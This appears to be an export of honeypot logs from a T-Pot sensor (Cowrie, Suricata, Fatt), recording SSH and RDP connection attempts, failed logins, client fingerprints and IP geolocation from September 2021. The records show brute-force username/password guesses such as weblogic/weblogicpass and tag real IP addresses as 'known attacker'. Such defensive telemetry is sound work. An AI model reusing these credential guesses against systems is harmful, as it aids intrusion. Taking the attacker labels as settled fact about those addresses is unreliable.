30884	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:39:29.950335+03	2021-09-20 14:45:03.754142+03	{"_id": "8wYBA3wBvYTbRNuEAz_e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [weblogic/weblogicpass] failed", "session": "d2c9760089c8", "@version": "1", "password": "weblogicpass", "username": "weblogic", "timestamp": "2021-09-20T11:39:29.950335Z", "@timestamp": "2021-09-20T11:39:29.950Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30885	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:39:31.428193+03	2021-09-20 14:45:03.755142+03	{"_id": "9AYBA3wBvYTbRNuEBz_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.failed", "message": "login attempt [steam/test123] failed", "session": "d1aade0b5e33", "@version": "1", "password": "test123", "username": "steam", "timestamp": "2021-09-20T11:39:31.428193Z", "@timestamp": "2021-09-20T11:39:31.428Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30888	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:40:13.01995+03	2021-09-20 14:45:03.759142+03	{"_id": "QAYBA3wBvYTbRNuEq0Dp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:35970 (192.168.176.2:22) [session: 3257f5aebb97]", "session": "3257f5aebb97", "@version": "1", "protocol": "ssh", "src_port": 35970, "dest_port": 22, "timestamp": "2021-09-20T11:40:13.019950Z", "@timestamp": "2021-09-20T11:40:13.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30889	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:40:13.021222+03	2021-09-20 14:45:03.760142+03	{"_id": "QQYBA3wBvYTbRNuEq0Dp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3257f5aebb97", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:40:13.021222Z", "@timestamp": "2021-09-20T11:40:13.021Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30890	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:40:13.311965+03	2021-09-20 14:45:03.761142+03	{"_id": "QgYBA3wBvYTbRNuEq0Dp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3257f5aebb97", "@version": "1", "timestamp": "2021-09-20T11:40:13.311965Z", "@timestamp": "2021-09-20T11:40:13.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30891	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:40:13.000421+03	2021-09-20 14:45:03.762142+03	{"_id": "QwYBA3wBvYTbRNuErUCF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:39:12.012508+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 891993620230364, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 12952, "timestamp": "2021-09-20T11:40:13.000421Z", "@timestamp": "2021-09-20T11:40:13.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30892	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:40:13.311289+03	2021-09-20 14:45:03.764145+03	{"_id": "RQYBA3wBvYTbRNuErUCF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:40:12.729333+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1152580027425013, "payload": "AAADzAYUDfkI0HGwwtMAIpGPuLXt0gAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35970, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:40:13.311289Z", "@timestamp": "2021-09-20T11:40:13.311Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......\\r...q....\\".........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30893	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:40:13.311063+03	2021-09-20 14:45:03.766142+03	{"_id": "RwYBA3wBvYTbRNuErkCZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35970, "timestamp": "2021-09-20T11:40:13.311063", "@timestamp": "2021-09-20T11:40:13.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30894	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:40:14.898189+03	2021-09-20 14:45:03.767142+03	{"_id": "SwYBA3wBvYTbRNuEsUBu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:40:14.559362+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 396416675383554, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60401, "dest_port": 3389, "timestamp": "2021-09-20T11:40:14.898189Z", "@timestamp": "2021-09-20T11:40:14.898Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30895	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:39:54.978048+03	2021-09-20 14:45:03.768142+03	{"_id": "CAYBA3wBvYTbRNuEZ0As", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 6743, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 252, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1935896161740544, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 32805, "timestamp": "2021-09-20T11:39:54.978048Z", "@timestamp": "2021-09-20T11:39:54.978Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30896	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 14:39:58.457657+03	2021-09-20 14:45:03.769143+03	{"_id": "DgYBA3wBvYTbRNuEcUBJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 43.240.6.90:34404 (192.168.176.2:22) [session: 3f027bdd19f5]", "session": "3f027bdd19f5", "@version": "1", "protocol": "ssh", "src_port": 34404, "dest_port": 22, "timestamp": "2021-09-20T11:39:58.457657Z", "@timestamp": "2021-09-20T11:39:58.457Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30897	43.240.6.90	109.199.241.180	Suricata	2021-09-20 14:39:58.771726+03	2021-09-20 14:45:03.771142+03	{"_id": "EAYBA3wBvYTbRNuEckDm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "43.240.6.90", "dest_ip": "192.168.20.116", "flow_id": 378787981046493, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34404, "dest_port": 22, "timestamp": "2021-09-20T11:39:58.771726Z", "@timestamp": "2021-09-20T11:39:58.771Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30898	43.240.6.90	109.199.241.180	Fatt	2021-09-20 14:39:58.77192+03	2021-09-20 14:45:03.773142+03	{"_id": "EgYBA3wBvYTbRNuEc0D7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "43.240.6.90", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 34404, "dest_port": 22, "timestamp": "2021-09-20T11:39:58.771920", "@timestamp": "2021-09-20T11:39:58.771Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30899	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 14:39:58.772588+03	2021-09-20 14:45:03.774142+03	{"_id": "FgYBA3wBvYTbRNuEdUAz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3f027bdd19f5", "@version": "1", "timestamp": "2021-09-20T11:39:58.772588Z", "@timestamp": "2021-09-20T11:39:58.772Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
